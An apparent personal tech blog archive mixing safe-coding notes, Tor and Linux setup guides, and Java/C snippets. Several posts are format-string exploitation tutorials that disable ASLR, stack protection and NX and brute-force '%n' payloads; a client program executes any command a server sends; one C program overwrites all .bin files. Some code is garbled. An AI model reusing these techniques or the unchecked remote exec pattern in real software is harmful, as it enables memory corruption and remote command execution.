Friday 10 October 2014

Safe coding practices- Solution to buffer overflow attack

...
char buffer[25];
printf("\nEnter Text : ");
gets(buffer);
...

Program description:
The buffer is allotted with size 25bytes and it is used to get an input from the user.

Problem:
The gets() function lacks bound-checking and so an attacker can input a string longer than 25 characters and overflow the buffer to overwrite the next address locations and even overwrite the return address of the function call. This will even lead to invoking a shel.

Solution:
To get input from stdin, use
fgets(buffer,25,stdin);
which performs bound-checking.

Tuesday 9 September 2014

Code analysis-LEAST PRIVILEGE VIOLATION

...
chroot(“/home/user1/testapp”);
chdir(“/”);
perform_some_operations;
...

Program description:

The developer want to restrict his application to a particular directory (applications's home directory). To do this task, he uses chroot() system call which requires root privilege. The application thus sets a home directory for its activities. The developer wanted to ensure that this application does nothing malicious outside it's own home directory. Then he changes the current directory and then performs some operations.

Problem:
He gives root privilege while setting the Home directory but forgets to revoke the same after that
operation. So the application continues with root privilege and when it accesses another directory, it
is accessing it with root privilege. An attacker who compromises the application is getting root
privilege to do whatever he wants to do.

Solution:
...
chroot(“/home/user1/testapp”);
setuid(100);
chdir(“/”);
...

Setting UID to a non-zero value ensures that the root privilege is dropped and potential for damage
is substantially reduced.

Monday 4 August 2014

How to remove a phone number from Truecaller directory ?



Truecaller is the most widely used phone number look up service. But sometimes people may not like their phone number listed in an online directory where anyone can search and find the owner name of a mobile number. For the respect our security, Truecaller provides an option to unlist our number from their directory, number will be removed permanently.Here is how to do it :

Login to Truecaller
Go to support
Take Unlist option
Enter your mobile number
Enter the verification code
Done !!
Test it by searching your number again using Truecaller number search option

Saturday 26 July 2014

Latest virus alert: Bladabindi spreads through USB drives


Reports are coming that a new backdoored virus type 'MSIL/Bladabindi' is spreading through USB drives. A backdoor can give remote access to a system. Bladabindi can steal sensitive personal information from your Windows computer and send it to the remote attacker. The malware  copies itself into the removable drives and creates a shortcut with the drive name. On clicking, malware gets executed. It is configured in such a way that it can steal stored passwords from almost all the web browsers currently in use. A remote attacker can issue commands to capture screenshots, compress data and upload, download and run files and update itself. The virus uses code obfuscators to hide its code.

Proposed countermeasures:

** Disable autorun functionality in OS
** Use scanned USB drives
** Update patches
** Avoid untrusted downloads
** Enable firewall to block remote access

Reference : CERT-IN

Sunday 20 July 2014

Microsoft says goodbye to Android

Microsoft will not develop any more smartphones powered by Google's Android. Microsoft calls end to Nokia X Android smartphones beyond those already available. Nokia X will be included in Lumia series and future smartphones in X series will be based on Windows phone OS.

Friday 11 July 2014

Investing in share market - Introduction

To start with, you should have the following two things :

1. A Demat account
2. Trading account

*  A Demat account and a trading account can be set up through a bank or share brokers.
* There will be a brokerage on each transaction you do -selling or buying shares.
* Decision should be taken only after a detailed study about the risks and gains in investment.
* To get a Demat account and a trading account, you require the following documents :

1.  2 passport size photographs
2.  Bank account proof
3.  Bank statement copy
4.  A cancelled cheque leaf
5.  Identity card
6.  PAN card
7.  Address proof


Thursday 10 July 2014

Google launches Project Tango

Project Tango is the latest research project by Internet giant Google to bring 3D technology into the smartphones. The applications may help in indoor mapping, gaming and navigation. Google is seeking professional developers for application development. Tango devices will use motion trackers and depth sensors for collecting data while moving around and create a 3D map of the location using this data. Prominent universities and research labs are becoming partners of Google in project Tango. For more information on Project Tango, visit this link.

Sunday 22 June 2014

Configuring Tor : Anonymity Online


Tor is free software and an open network that protects you from network surveillance by hiding your real location. This tool can be used to keep privacy. Recent news about agencies that make network surveillance threatening the privacy of people compels us to go anonymous.

Read more about Tor project here .

There are different methods to configure Tor and I am explaining only one of them. The project recommends to use Tor browser bundle but I am not going into it.

This is a step by step procedure to configure Tor client in your Debian/Ubuntu system. Sometimes your internet connection will be configured to block downloads from tor website/repository. The admins usually do this to prevent people from using tor. So in that case use data cards for installing tor and then connect to your network using tor enabled browser.

Step 1: Open terminal and login as root

                      sudo su

Step 2: Get your Ubuntu/Debian DISTRIBUTION

                     lsb_release -c           or            cat /etc/debian_version

Step 3: Open /etc/apt/sources.list  as root and add the following line

                    deb https://deb.torproject.org/torproject.org your-distribution  main
                    deb-src https://deb.torproject.org/torproject.org your-distribution  main

            eg:   deb https://deb.torproject.org/torproject.org precise main

Step 4: Take terminal and then add the gpg key used to sign the packages

                    gpg --keyserver keys.gnupg.net --recv 886DDD89
                    gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -

Step 5: Update

                    sudo apt-get update

Step 6: Use keyring to keep signing key current

                   sudo apt-get install deb.torproject.org-keyring

Step 7: Install Tor

                  sudo apt-get install tor

You have installed tor, but now you need to configure it. Start and enable it.

                  sudo systemctl start tor
                  sudo systemctl enable tor

Configuring Firefox browser for using tor is shown below (port 9050):



Done !!

To check whether it is working correctly, go to https://check.torproject.org/
The website will say whether the browser is properly configured or not.

The network traffic will be slow as it has to go through a large number of nodes.

Saturday 21 June 2014

Enabling WLAN card in Linux Ubuntu 14.04

Today I just installed Ubuntu 14.04 in my Lenovo G510 and found that the laptop's WLAN card is not detected by Ubuntu.

Here is a quick way to enable the WLAN card :

1. Connect to a temporary LAN connection
2. Open a terminal
3. Type in the following command
          
sudo apt-get install bcmwl-kernel-source

4. Disconnect from the temporary connection
5. Give a reboot 

Done . Your WLAN card will work like a charm !!
 

Sunday 8 June 2014

Java program to read input from file

The following java program reads input from a given file line by line and prints the output on the console.

program code :

import java.io.*;
 public class ReadFile
 {
    public static void main(String[] args)
    {
    String file="inputfile.txt";
    try{
    FileReader f = new FileReader(file);
    BufferedReader bufferReader = new BufferedReader(f);
    String line;
// Read file line by line and print on the console
    while ((line = bufferReader.readLine()) != null)   {
            System.out.println(line);
    }
    bufferReader.close();
    }catch(Exception e){
            System.out.println("Error while reading file line by line");                     
    }

    }
  }

Thursday 29 May 2014

Removing autorun virus from windows machines

Autorun virus prevents from opening the drives in windows machines by double clicking on the icon. Here is a simple way to remove the virus.

Start > Run > cmd

Type the following commands :

> cd\
> attrib -r -h -s autorun.inf
> del autorun.inf

To go to next partition (eg : drive D)
> d:

continue above steps.

Restart the system. Done !!

Finding CPU load : Client-server architecture

Task :
Design a distributed application using Socket. Application consists of a server which requests CPU loads to n clients and finds the maximum and minimum loaded systems.

To find CPU load of a single local machine, see this previous post .


Server.java :


public class Server extends Thread
{
   private ServerSocket serverSocket;
  
   public Server(int port) throws IOException
   {
      serverSocket = new ServerSocket(port);
      serverSocket.setSoTimeout(30000);
   }

   public void run()
   {
     int p1=0,p2=0;
     float max,min;
     int j=0,i;
     float a[]=new float [10];
     String clients[]=new String [10];
      while(true)
      {
         try
         {
           clients[j]="";
           String cmd="";
           float y;
            System.out.println("Port ready to connect: " + serverSocket.getLocalPort());
            Socket server = serverSocket.accept();
            System.out.println("Connected");
            DataInputStream in = new DataInputStream(server.getInputStream());
            DataOutputStream out = new DataOutputStream(server.getOutputStream());
            out.writeUTF("mpstat");
            cmd=in.readUTF();
            y=Float.parseFloat(cmd);
            y=100-y;
            clients[j]=""+server.getRemoteSocketAddress();
            a[j]=y;
            j++;
            System.out.println("CPU load:"+y);
            server.close();
         }catch(SocketTimeoutException s)
         {
            System.out.println("Socket timed out!");
            break;
         }catch(IOException e)
         {
            System.out.println(e);
            break;
         }
      }
        max=a[0];
        min=a[0];
        for(i=1; i         {
          if(max < a[i]){
            max=a[i];
            p1=i;
          }
          else if(min > a[i]){
            min=a[i];
            p2=i;
          }

       
        System.out.println();
        System.out.println("\nMax Load: "+max+" from "+clients[p1]);
        System.out.println("Min Load: "+min+" from "+clients[p2]);
      }
   }
   public static void main(String [] args)
   {
      int port = 5555;
      try
      {
         Thread t = new Server(port);
         t.start();
      }catch(IOException e)
      {
         e.printStackTrace();
      }
   }
}



Client.java :

public class Client
{
   public static void main(String [] args)
   {
      String serverName = "server_ip";
      int port = 5555;
      try
      {
         System.out.println("Connecting to " + serverName + " on port " + port);
         Socket client = new Socket(serverName, port);
         System.out.println("connected");
         OutputStream outToServer = client.getOutputStream();
         DataOutputStream out = new DataOutputStream(outToServer);
         InputStream inFromServer = client.getInputStream();
         DataInputStream in = new DataInputStream(inFromServer);
         String x=in.readUTF();
         Process p=Runtime.getRuntime().exec(x);
         BufferedReader inbuf=new BufferedReader(new InputStreamReader(p.getInputStream()));
         String l=null;
         int i=1;
         String y="";
         while((l=inbuf.readLine()) != null && i < 4)
           i++;
         if(i>1)
           System.out.println("Action completed");
         for(i=l.length()-5; i < l.length(); i++)
           y=y+l.charAt(i);
         out.writeUTF(y);
         client.close();
      }catch(IOException e)
      {
         e.printStackTrace();
      }
   }
}






Thursday 22 May 2014

Exploiting format string vulnerability -Part 3

This time we will add some more fun to format string exploitation. Newcomers please go through these posts part1 and part2 for better understanding of the basics of format string exploitation.

Task :
Set the value of target to 0xbeefbeef

Program :
// to be compiled as `gcc -o 3 3.c -m32`
#include
int target = 0;
int main(int argc, char **argv)
{
char buf[100];
strncpy(buf, argv[1], 100);
printf(buf);
if ( target == 0xbeefbeef )
printf("Pat yourself on the back for me, wont you?\n");
else
printf("\nYikes, the value of target=%08x\n", target);
return 0;
}


Disabling all counter mechanisms against buffer overflow attack and format string
exploitation :
Disabling address randomization using the following command:
#sysctl -w kernel.randomize_va_space=0
Disabling stack guard
# gcc -fno-stack-protector -o example example.c
Disabling NX protection
# gcc -z execstack -fno-stack-protector -o example example.c

To get the output we need to change the content of the global variable 'target'. In the program, the value is not changed anywhere and so the comparison condition always
returns false.
Our task is to find the address of variable target and rewrite the content with 'beefbeef '
By exploiting the format string vulnerability of ' printf ', we can output the contents of address locations in memory.



We input some characters (AAAA here )and out put the contents in memory. Observe for
the values 41414141 which is correspondent to AAAA. Thus we now know an address
location and we can overwrite the content there.

Using gdb we can find out the address of 'target' and we will put that address in AAAA's
position. So the content at this particular address will be overwritten with 48879 (beef) .We need to overwrite the adjacent address also(since we need beefbeef)
address : 0x804a024

I am writting 48864 instead of 48879. Why? This is left for the reader to find out.
(hint : I have already written some characters ,so the count of those characters should be subtracted. Understand properly what printf is actually doing.)

output :


Exploiting format string vulnerability- Part 2

In my previous post about format string vulnerability, I have explained how to use the global variable to alter the program control flow. This is a continuation. Here, we will see the same example code once again but the variable 'flag' as local variable. (To understand the difference, please read the previous post ).

Task :
Give input such that “You entered right parameter” is printed out.

Program :

#include
#include
int main(int argc, char **argv)
{

char password[255];
int flag;
flag = 0;
strncpy(password, argv[1], 255);
printf("\nEntered password is : ");
printf(password);
printf("\n");
if(flag)
{
printf("You entered right parameter\n");
}
else
{
printf("wrong input\n");
}
return 0;
}

....................................

The flag is not a global variable here. The flag is a local variable in main function which means it will be kept within the stack.
Get the address of ' flag' using the gdb. As we did in the previous exploitation we can
overwrite the content of address where the value of flag is stored. But since it is in stack ,
there may be a slight change in address where we compile the program outside gdb. So
we need to test all the addresses around the address we got from gdb inspection. We
need to write a script that tries to do this task.

(python script)

import struct
from subprocess import call
for i in range (0,100):
x=0xffffd301+i
print hex(x)
y=struct.pack("print y
call(["./2","AAA"+y+"%8$n"])

The address got from gdb is 0xffffd2ec





Printed and tried to overwrite the addresses around this address (if no correct result is obtained, replace the address in for loop with the last address we have checked so far and continue running in loop until we get the correct output)

Exit gdb and try outside of gdb.



Saturday 12 April 2014

Exploiting format string vulnerability

This blog post will teach you how to exploit the format string vulnerability.

Prerequisites :
         Basic knowledge about format string vulnerability
         Experience with gdb debugger tool
         Basic understanding of C programming


Goal :

Get the program to print “You entered the right parameter”

Program :

#include
#include
int flag;
int main(int argc, char **argv)
{
      char password[255];
      flag = 0;
      strncpy(password, argv[1], 255);
      printf("\nEntered password is : ");
      printf(password);
      printf("\n");
      if(flag)
     {
      printf("You entered right parameter\n");
     }
     else
    {
     printf("wrong input\n");
    }
return 0;
}

We will deal with only the executable file and NOT the source code.

Disabling all counter mechanisms against buffer overflow attack and format string
exploitation :
Disabling address randomization using the following command:
#sysctl -w kernel.randomize_va_space=0
Disabling stack guard
# gcc -fno-stack-protector -o example example.c
Disabling NX protection
# gcc -z execstack -fno-stack-protector -o example example.c

To get the output “ You entered right parameter “ , we need to change the value of the
global variable 'flag'. In the program, the value is not changed anywhere and so the '
if(flag) ' condition always returns false.
Our task is to find the address of variable flag and rewrite the content with some value
other than 0.
By exploiting the format string vulnerability of ' printf ', we can output the contents of
address locations in memory.



We input some characters (AAAA here )and out put the contents in memory. See the
values 41414141 which is correspondent to AAAA. Thus we now know an address location
and we can overwrite the content there.




We want to overwrite the contents at the address location of ' flag '. In the following
screenshot ,observe that we are trying to overwrite AAAA but since it is not a valid address
we get segmentation fault.


Using gdb we can find out the address of 'flag' and we will put that address location in
AAAA's position. (Refer : Wiki article) So the content at this particular address will be overwritten by a positive
value (here the number of characters written ,ie 7). As a result ' if (flag) ' condition
becomes true and the required output is obtained.



A python script is used to input the address to avoid accepting the input as string.

Hope this article helps .!

Sunday 6 April 2014

C Program for implementing basic Xen operations

XEN

Xen is a virtualization system supporting both paravirtualization and hardware-assisted FV.

  • Introduced by Barham at Uni of Cambridge,UK in 2003 as part of XenoServers Project.
  • Most widely used and Studied VMMs on x86.
  • Allows multiple commodity OS’es to share real physical H/W in a secure & resource managed fashion.
  • XEN achieves the same with out significant compromise on performance or functionality.
  • XEN popularized the conception of para-virtualization.

The basic operations such as START, SHUTDOWN, PAUSE, RESUME are implemented. The program lists all the domains configured and gets user input to perform operations on them.

screenshot :


Saturday 22 March 2014

Installing ns3 in Ubuntu 13.10(Saucy Salamander) (Remove build failed error)

If you are following ns3 installation in Ubuntu 13.10 from http://www.nsnam.org/wiki/Installation you might end up in error while building.These are the steps to avoid error while building

Install these packages for minimal requirements
   sudo apt-get install gcc g++ python
   sudo apt-get install gcc g++ python python-dev 
   sudo apt-get install mercurial
   sudo apt-get install bzr 
   sudo apt-get install gdb valgrind 
   sudo apt-get install gsl-bin libgsl0-dev libgsl0ldbl
   sudo apt-get install flex bison libfl-dev
   sudo apt-get install gcc-4.8 g++-4.8 (please note gcc version is not 3.4 it is 4.8) 
   sudo apt-get install tcpdump
   sudo apt-get install sqlite sqlite3 libsqlite3-dev 
   sudo apt-get install libxml2 libxml2-dev 
   sudo apt-get install libgtk2.0-0 libgtk2.0-dev
   sudo apt-get install vtun lxc
   sudo apt-get install uncrustify
   sudo apt-get install doxygen graphviz imagemagick
   sudo apt-get install texlive texlive-extra-utils texlive-latex-extra
   sudo apt-get install python-sphinx dia 
   sudo apt-get install python-pygraphviz python-kiwi python-pygoocanvas libgoocanvas-dev 
   sudo apt-get install libboost-signals-dev libboost-filesystem-dev 
   sudo apt-get install openmpi-bin openmpi-common openmpi-doc libopenmpi-dev
   sudo apt-get install gcc-multilib 

Downloading NS-3(ns-3 version is 3.19 not 3.13)
   cd  
   mkdir ns3
   cd ns3
   wget http://www.nsnam.org/release/ns-allinone-3.19.tar.bz2
   tar xjf ns-allinone-3.19.tar.bz2
   cd ns-allinone-3.19/
   ls
 
Then you can find build.py along with other files.Then run 
 
   ./build.py --enable-examples --enable-tests
 It is done inorder to build the examples in ns-3.If the build is successful then it will give output "Build finished successfully" 
 

Tuesday 18 March 2014

Installing a program from zip file in Linux(Using tarball)


One can install programs in linux either using apt-get or using zip files(using tarball).This post describes how to install a program in linux from zip files

Normally zip files in ubuntu may consist of any of the following extensions
file tar.gz
file.tgz
file.tar.bz2
file.tbz2
Normally these tarball contain sources of software.Inorder to install software from a tarball follow these steps

  1. Uncompress tarball
  It can be done using the commands
  •  For tar.gz and tgz extension -run tar zxf zip_filename.tar.gz/zip_filename.tgz
  • For tar.bz2/tbz2 extension -run tar jxf zip_filename.tar.bz2/zip_filename.tbz2
2. Change to extracted directory
     Now move to extracted directory for this one can use cd command
  • cd zip_filename
3.Build  software
  • ./configure - used to configure the system
  • make -used to compile source files to executable binaries
4.Install software
  • make install -this will install the software from binaries .


Tuesday 11 March 2014

WhatsApp introduced new privacy settings

WhatsApp for Android released an update that introduce new privacy settings:

Limiting profile picture view >
    New option to set who can view your profile picture

Last seen status >
    It is now possible to turn it off our 'last seen' time status  

Pay for a friend's WhatsApp subscription >
    Pay for your friend's account. This may help to keep everyone on the same platform

Camera shortcut >
    Send your photos faster

To see the new features, go to Settings > Account > Privacy

Tuesday 25 February 2014

WhatsApp brings free voice call

WhatsApp CEO Jan Kaum ,at the MWC, Barcelona, announced that WhatsApp will add the voice call facility by the second quarter of this year. This movement is seen as worrying for telecom operators globally.WhatsApp's acquisition by Facebook would not alter the plan to develop the product to reach the next 1 billion users. No advertising will added to the service, the CEO said.


Monday 24 February 2014

Nokia Android phones !!


Nokia revealed three ‘X’ phones- the Nokia X, the Nokia X+ and the Nokia XL , at the Mobile World Congress in Baecelona.

Features:
4-in touchscreen with more RAM and storage on the X+
5-in touchscreen, 5MP rear camera, 2MP front camera on XL.

They do not run the Android OS but able to run the Android applications. These phones will relay on Microsoft's cloud apps.

Pricing :
The Nokia X will cost 89 Euros (Rs. 7,600 approx.), Nokia X+ will cost 99 Euros (Rs. 8,500 approx.) and Nokia XL will cost 109 Euros (Rs. 9,300 approx.).

Sunday 23 February 2014

Whatsapp service restored



WhatsApp, the popular instant message service, restored after the outage on saturday night (Feb 22, 2014). The app was down for around three hours.Tweets came from all around the world about the issue. By early morning WhatsApp tweeted that the service has been restored.
WhatsApp is in news as Facebook announced that it is buying the service for $19 billion.

Friday 21 February 2014

Breaking the Vigenere cipher : Java programming

Suppose a text is encrypted using the Vigenere cipher. The given Java program can be used to break the cipher and read the content.

*-----------------------*

import java.io.*;
public class decipher
{
public static void main(String args[])
{
  String ctext="cipher_text_here";
  ctext=ctext.toUpperCase();
  String key="enter_key";
  char[] alphabet = {’A’,’B’,’C’,’D’,’E’,’F’,’G’,’H’,’I’,’J’,’K’,’L’,’M’,’N’,’O’,
  ’P’,’Q’,’R’,’S’,’T’,’U’,’V’,’W’,’X’,’Y’,’Z’};
  String plaintext = "";
  int k=0;
  for(int i=0; i < ctext.length(); i++)
     {
     int keypos = 0,ciphpos=0;
     char c=ctext.charAt(i);
     int value = (int) c;
        if(value<65 value="">90)
        {
        System.out.print(c);
        }
        else
        {
        for(int j = 0; j<26 j="" p="">           {
           if(key.charAt(k%key.length())==alphabet[j])
           {k++;
            keypos=j;
            break;
           }
           }
        for(int j = 0; j<26 j="" p="">           {
           if(ctext.charAt(i)==alphabet[j])
           {
           ciphpos=j;
           break;
           }
           }
        System.out.print(alphabet[(ciphpos-keypos+26)%26]);
        }
     }
 }

}


Wednesday 19 February 2014

Creating a deadlock situation - Programming in C

Use the following header files:

stdio.h
pthread.h
unistd.h

program:


pthread_mutex_t fir_mx;
pthread_mutex_t sec_mx;

 void *fn1()
 {
  pthread_mutex_lock(&fir_mx);
  pthread_mutex_lock(&sec_mx);
  printf("Thread 1 locks mutex\n");
  pthread_mutex_unlock(&sec_mx);
  pthread_mutex_unlock(&fir_mx);
 }
 void *fn2()
 {
  pthread_mutex_lock(&sec_mx);
  pthread_mutex_lock(&fir_mx);
  printf("Thread 2 locks mutex\n");
  pthread_mutex_unlock(&fir_mx);
  pthread_mutex_unlock(&sec_mx);
 }
 int main(void)
 {
 pthread_t tid1;
 pthread_t tid2;
 pthread_mutex_init(&fir_mx,NULL);
 pthread_mutex_init(&sec_mx,NULL);
 int t;
 while(1)
 {
 pthread_create(&tid1,NULL,fn1,NULL);
 pthread_create(&tid2,NULL,fn2,NULL);
 pthread_join(tid1,NULL);
 pthread_join(tid2,NULL);
 }
 }













Thursday 6 February 2014

Writing to only specific files in a directory : C program

Suppose we have a file named 'hello' (could be even an executable one) and we need to write the content of this file into some other files of selected extension (for example, only the binary files) . This simple C program will help you to do this task. Include stdlib.h and dirent.h .

Program:

int main()
{
 DIR * d;
 FILE *fp1,*fp2;
 char* ext;
 int i;
 char * dirname = ".";
 struct dirent *handle;

 d = opendir(dirname);
 if(!d)
    printf("Directory not opened");
 while((handle=readdir(d))!=NULL)
 {
    ext=strchr(handle->d_name,'.');
    if(ext!=NULL)
       if(strcmp(ext+1,"bin")==0)
          {
            char ch;
            fp1=fopen(handle->d_name,"w");
            fp2=fopen("hello","r");
            fseek(fp2, 0, SEEK_END);
            long fsize = ftell(fp2);
            fseek(fp2, 0, SEEK_SET);

            char *string = malloc(fsize + 1);
            fread(string, fsize, 1, fp2);
            fclose(fp2);
            string[fsize] = 0;
            for(i=0;i < fsize; i++)
                fprintf(fp1,"%c",string[i]);
          }
 }
 return 0;
}



Friday 31 January 2014

Lenovo P770 Smartphone

Lenovo P770 is one of the best smartphones at an affordable price. I have been using this phone for nearly 6 months and it's performance is simply superb. The Lenovo P770 mobile phone's dual core processor delivers a smooth Android experience. The 3500 mAH battery charge lasts around 2 days even after using internet. Android Jelly Bean 4.1 gives you seamless access to all your favorite apps and games.4.5" IPS Display is awesome.It comes with dual-sim stand-by and primary,secondary cameras.


Buy Lenovo P770 from Flipkart.com
 


Specs:

SIM Type                
        Dual SIM, GSM + GSM, (Dual Standby)
Touch Screen
        Yes, Capacitive
OS
        Android OS v4.1 (Jelly Bean)
Processor
       1.2 Cortex A9, Dual Core
Graphics
       PowerVR SGX531
Display
       IPS LCD Capacitive Touchscreen
Size
       4.5 Inches
Resolution
       qHD, 540 x 960 Pixels
Primary Camera
       Yes, 5 Megapixel
Secondary Camera
       Yes, 0.3 Megapixel
HD Recording
       HD
Other Camera Features
       Auto Focus, Geo-tagging,Video Conference
Weight
       162 g
Battery
       Li-Ion, 3500 mAh
Talk Time
       30 hrs (2G), 16 hrs (3G)
Standby Time
       300 hrs (2G)
Memory & Storage   
       1 GB RAM, 4 GB ROM
       Expandable Memory ,microSD, upto 32 GB
Preinstalled Browser
       Android
3G
       Yes, 7.2 Mbps HSDPA; 5.76 Mbps HSUPA
Wifi
       Yes, 802.11 a/b/g/n
USB Connectivity
       Yes, micro USB, v2
Tethering
       Wi-fi Hotspot
Navigation Technology
       A-GPS, with Google Maps
Bluetooth
       Yes, v3
HDMI Port
       No
Audio Jack
       3.5 mm
Music Player
       Yes, Supports MP3
Video Player
       Yes, HD
FM
       Yes
Sensors
       Proximity, Accelerometer
Additional Features
       Polycarbonate Material, USB On-the-go, Multi-tasking, Games

Flipkart link

Thursday 16 January 2014

Java program to find CPU load using 'mpstat'

The following java program uses the linux command 'mpstat' to determine the CPU load .

To see the client-server version of the program with multiple clients, see here .


public class CpuLoad {
    public static void main(String args[]) {
      int i=1;
      float finalres;
      try{
        // execute the linux command
        Process p=Runtime.getRuntime().exec("mpstat");
        BufferedReader in=new BufferedReader(new   InputStreamReader(p.getInputStream()));
        String line=null;
        //read the row corresponding to cpu idle
        while((line=in.readLine())!=null && i<4){        
          i++;
        }      
        String res=line.substring(line.length()-5);
        finalres=Float.parseFloat(res);
        //convert the idle to cpuload
        System.out.println("CPU load:"+(100-finalres)+"%");
      }
      catch(Exception e){
        System.out.println(e);
      }
  }
}

Tuesday 14 January 2014

Shell scripting basics

Display the text “Cyber Security” in the shell prompt. Redirect the displayed line to a file.
Append the outputs of the commands to show the users logged into your system, your
login account and the current date in the ddmmyyyy format to the file.

touch file echo "Cyber Security" >>file 
echo "Users logged in:" >>file w >>file 
echo "my account:" >>file 
who am i >>file 
echo "Today it is:" >>file 
date +%d-%m-%Y >>file 

The ls command with the –R option lists the files in the specified directory and also
subdirectories, if any. Use this with a suitable pipe and filter arrangement to determine
whether a file exists in the account logged in.

echo "Listing all directories and files" 
ls -R 
echo "Enter file name to search" 
read fname echo "Searching for $fname :" 
echo "Search results are below :" 
ls -R|grep -x "$fname" 

Assuming you have a directory containing the following files:
men, orange, book, ant, lotus, apple
Use the ls command to list only those files that
a) consist of five letters
b) begin with the letter l
c) end with the letter t
d) have the second letter o

mkdir myfolder 
cd myfolder 
touch men orange book ant lotus apple 
echo All files in the directory: 
ls 
echo Files with name starting with 'l' : 
ls l* 
echo Files with name ending with 't': 
ls *t 
echo Files having the second letter 'o': 
ls [a-z][o]* 
echo Files with name having 5 letters: 
ls ????? 


 

Sunday 12 January 2014

Simple echo server and client using TCP/IP


Implement a simple echo server and client which uses TCP/IP for the communication. The client after 
establishing the connection, sends server a message which the latter echoes (i.e., the server prints out the 
message).The server should be capable of handling multiple clients. The clients need to know the address 
of server(IP address and port) it wants to communicate to beforehand.

Your client-server should not be a standalone pair of program. Server should be able to accept connections
from other clients and echo their message. You should be able to contact other servers and send a message 
to be echoed.

This project implements a simple echo server and client which uses TCP/IP for communication.

Programming language used: JAVA

How to compile : javac echoserver.java

To run : java echoserver

Do the same for echoclient.java file

To test :

1. Compile and run echoserver.java
2. Compile and run echoclient.java
3. Input the hostname and port number

You can access the project here
github repository
EXPLANATION

echoserver.java :
........................
As the Server should support multiple clients, we extend our java class to use thread concept.

public class echoserver extends Thread

Get port number to use as user input. The server socket waits forrequests to come in over the network. 
To establish the socket connection between the client and the server, we use

new echoserver (sSocket.accept());

Accept() is a blocking call. If the connection is accepted by the server, it reads a line from client's 
input stream. Server echoes the message and write to client's outputstream using PrintWriter

PrintWriter out = new PrintWriter(cSocket.getOutputStream(), true);
BufferedReader in = new BufferedReader(new InputStreamReader
(cSocket.getInputStream()));

Continuously read message from client

while ((clientmsg = in.readLine()) != null)
{
System.out.println ("Message from client: " + clientmsg);
out.println(clientmsg);
}

The socket and streams are closed after the use.

out.close();
in.close();
cSocket.close();

echoclient.java :
........................
Read the hostname and port number to connect.

Scanner sc= new Scanner(System.in);
BufferedReader s=new BufferedReader(new InputStreamReader(System.in));
System.out.println("Enter the IP address");
String ip=s.readLine();
System.out.println("Enter Port No. to connect");
int port =sc.nextInt();

Create a socket to connect to server

Socket clientsoc =null;

Write to the PrintWriter to send the message to server

out = new PrintWriter(clientsoc.getOutputStream(), true);

The second parameter of PrintWriter() is boolean (autoflush). Read server response from socket's
inputstream.

in = new BufferedReader(new InputStreamReader(clientsoc.getInputStream()));

On completion, close the open socket.

clientsoc.close();

Implementation of Stack data structure in Java using array


This program implements the stack data structure using array.
Read this post to study the implementation of queue data structure using array.


program : Stack.java

import java.awt.DisplayMode;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class Stack {
/**************************************************************************
Here size refers to the total size of stack,top points to the top element
of stack
**************************************************************************/
int size,top;
int[] stackArray;
public static int set=0;
/**************************************************************************
createStack() method is used to create a stack with user specified
number of elements .This function will return true if number of elements
are successfully read & stack Array is successfully created
*************************************************************************/
private boolean createStack() throws IOException{
try{
set=1;
System.out.println("Enter the number of elemetns of stack");
size=readNo();
stackArray=new int[size];
return true;
}
catch(Exception e)
{
return false;
}
}
/**************************************************************************
this readNo() function will read an integer from keyboard and returns the number

************************************************************************/
private int readNo(){
int no=-1;
try {
InputStreamReader in=new InputStreamReader(System.in);
BufferedReader br=new BufferedReader(in);
String entered;
entered = br.readLine();
no=Integer.parseInt(entered);
} catch (IOException e)
{
e.printStackTrace();
}
return no;
}
/**************************************************************************
Push() function is used to add new elements to the stack at its
top position.It will first increment the top to indicate new element
is added to the stack & the entered element is added to stack
************************************************************************/
private void Push(){
System.out.println("Enter the element to be inserted");
++top;
System.out.println(top);
int k=readNo();
stackArray[top]=k;
set=1;
}
/*************************************************************************
Pop() function is used to remove /pop elements from the top of stack.Here
top is decremented to indicate next element
*************************************************************************/
private void Pop() {
int topElement=stackArray[top];
--top;
System.out.println("The deleted number from stack is "+topElement);
}
/*************************************************************************
Display function is used to display all elements starting from top element

*************************************************************************/
private void display(){
int k=top;
System.out.println("Elements in Stack are::");
for(;k>=0;k--){
System.out.println(stackArray[k]+" ");
}
}

public static void main(String[] args) throws Exception{
/*******************************************************************
It creates an object of Stack class named 's'
***************************************************************/
int option=0;
Stack s=new Stack();
s.top=-1;
/***************************************************************************
It is a menu driven program.It runs until user enters exit option
**************************************************************************/
do{
System.out.println("Menu: \n 1- Create\n 2- Push\n 3- Pop\n 4- Display\n 5- Exit");
option=s.readNo();
if(option==1){
if(s.createStack()){
System.out.println("Stack created successfully");
}
else{
System.out.println("Stack not created");
}
}
else if(option==2){
if(set==1)
{
s.Push();
System.out.println("One item successfully added to Stack");
}
else
{
System.out.println("Create stack first");
}
}
else if(option==3){
if(s.top!=-1)
s.Pop();
else
{
System.out.println("Stack is empty ! or not build");
}
}
else if(option==4)
{
s.display();
}
}while(option!=5);
}
}

Implementation of Queue data structure in Java using array


This program implements the Queue data structure using array. Read the implementation of Stack data structure here.


Program: Queue.java

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Queue {

/*******************************************************************
front is where elements are deleted& rear is where elements are inserted
*******************************************************************/
int queueArray[],maxQueueSize,front,rear,currentQueueSize;
String enteredElement;

/********************************************************************
The function createQueue() creates a queue array with number of elements
as User's input
******************************************************************/
private void createQueue() throws Exception{

System.out.println("Enter the number of elements of Queue");
InputStreamReader isr=new InputStreamReader(System.in);
BufferedReader br=new BufferedReader(isr);
String s=br.readLine();
maxQueueSize=Integer.parseInt(s);
/*************************************************************************
This will create a queueArray with the size entered by user
**************************************************************************/
queueArray=new int [maxQueueSize];
/*************************************************************************
Initially the front is set as -1 & rear is set as 0 in order to indicate there
is no element in the queue.These values will be updated when elements are
added to the list
**************************************************************************/
front=-1;
rear=0;

}

/*******************************************************************
function readNo() reads an integer from keyboard & returns it
*******************************************************************/
private int readNo() throws Exception{
InputStreamReader isr=new InputStreamReader(System.in);
BufferedReader br=new BufferedReader(isr);
enteredElement=br.readLine();
int no=Integer.parseInt(enteredElement);
return no;
}
/*************************************************************************
The function enQueue will add elements to the rear end of queue
************************************************************************/
private void enQueueRear() throws Exception{
if(front==-1)
++front;

/************************************************************************
If front=0&rear=0 which means there are no elements in the queue and we
are adding first element to the queue .Then we need to increment currentQueueSize
by one in order to indicate that we have added one element to the queue.Also
the value of rear needs to be updated

************************************************************************/
if(front==0&&rear==0){
System.out.println("Enter the element to be added to the rear end");
int no=readNo();
//We need to increment front in order to insert new element to queue
